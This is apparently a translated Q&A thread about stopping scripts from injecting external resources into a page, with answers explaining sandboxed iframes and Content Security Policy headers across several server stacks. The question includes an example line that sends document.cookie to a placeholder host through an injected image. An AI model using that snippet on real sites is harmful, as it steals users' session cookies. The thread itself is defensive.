Is it possible to prevent injection of external resources and requests for greater security?

Question

I understand that we can create and search javascript plugins, analyze the code and make sure that it will not inject anything on the outside page.

But supposing there is some library from which elements <script>, <link>, <img>, <video>, <audio>, ...

This can cause the following problems:

1. Open security loopholes like injecting "malicious scripts"
2. Capture by referer the home page
3. Affect performance

It is possible to prevent an Injete script with document.createElement (or innerHTML or document.write) access to external resources?

Or is it possible for resources to come from outside the allowed domains?

For example, prevent requests from external servers:

Prevent injection of. js files

var inject = document.createElement("script");
inject.src = "//cdn.exemplo.com/script-injetado.js";
document.head.appendChild(test);

Prevent injection of image files and . css

Images, videos, and other similar features can pick up by referer the source page and in case I want to prevent this to prevent you from knowing the origin page, since it may be a restricted url:

var inject = document.createElement("img");
inject.src = "//cdn.exemplo.com/photo.js";
document.head.appendChild(inject);

var inject = document.createElement("link");
inject.rel = "stylesheet";
inject.type = "text/css";
inject.src = "//cdn.exemplo.com/photo.js";
document.head.appendChild(inject);

And how did you quote @mgibsonbr can send data by GET method for example:

var inject = document.createElement("img");
inject.src = "//exemplo.com/imagem.jpg?cookie=" + document.cookie;
document.head.appendChild(inject);

Answer 1

Updating: the browsers modern implement the Content Security Policy (CSP), which allow websites to guide the browser to allow/block several things. More details on reply from Guilherme Nascimento.

With pure Javascript, no. It is possible to restrict something of the scripts by placing them in a iframe with the attribute sandbox, but this fine level of control is more difficult.

If you have a script - external or not - and you want to ensure that it only does what you explicitly allow, you need to modify it to reach that end. At first it could be done on its own browser, but then you’d need a parser Javascript in Javascript (which is feasible but not very efficient). Another option is to do this on a server. The project google-Caja proposes precisely this.

I’ve never used it, so I can’t claim its effectiveness, but the idea is to provide a capability-based security model (Capability), so that the script does not have access to the global object and all its classes/functions, but only to what you make available to it.

(Note: In some circumstances, a Javascript code contained in a function can be executed on way Strict so that it also does not access the global object, but I would not rely on it to ensure the safety of the site.)

That response in security.SE (in English) cites some other tools that may help in this purpose.

Answer 2

Through the headers it is possible to configure the CSP (Content Security Policy) and with it it is possible to block external requests and even other types of security "problems".

Example of CSP header:

This header will allow requests from the same domain, will prevent inline scripts and the use of eval():

Content-Security-Policy: default-src 'self'

This header will allow requests from the same domain, will prevent the eval, but will allow "inline scripts":

Content-Security-Policy: default-src 'self' 'unsafe-inline'

Rules:

• 'none'

  Refers to the empty definition; i.e., that

• 'self'

  Refers to the source from which the protected document is being called, including the same URL schema and port number. Some browsers specifically delete "blob" and "filesystem" from source directives. Sites that need to allow these types of content can specify them using the data attribute.

• 'unsafe-inline'

  Allows the use of inline features such as <script>alert(1);</script> or <style>a {}</style> and javascript: in events (for example <a href="javascript:alert(1);">)

• 'unsafe-eval'

  Allows use of the function eval()

Allow blob and access to system files

Many systems require the use of uploading and creating dynamic urls, but the default-src 'self' can prevent this, so use:

Content-Security-Policy: default-src 'self'; img-src 'self' data: blob: filesystem:; media-src mediastream:

_{Source: https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives}

PHP

To use this with PHP you need to use header:

<?php

header('Content-Security-Policy: default-src \'self\'');

Apache and . htaccess

To use with Apache, you can use httpd.conf or . htaccess and mod_headers:

<IfModule mod_headers.c>
    Header set Content-Security-Policy "default-src 'self'"
</IfModule>

IIS

On IIS servers

<set name="CONTENT_SECURITY_POLICY" value="default-src 'self'">

Csharp (System.Web)

With c# you can access the HttpContext and set in a variable called context:

HttpResponse HS = context.Response;

HS.AddHeader("Content-Security-Policy", "default-src 'self'");

Python

With Django:

def main(request):
    response = HttpResponse()
    reponse["Content-Security-Policy"] = "default-src 'self'"

With flask (in this case defines on the route /):

@app.route("/")
def home():
    resp = flask.Response("foo")
    resp.headers['Content-Security-Policy'] = 'default-src \'self\''
    return resp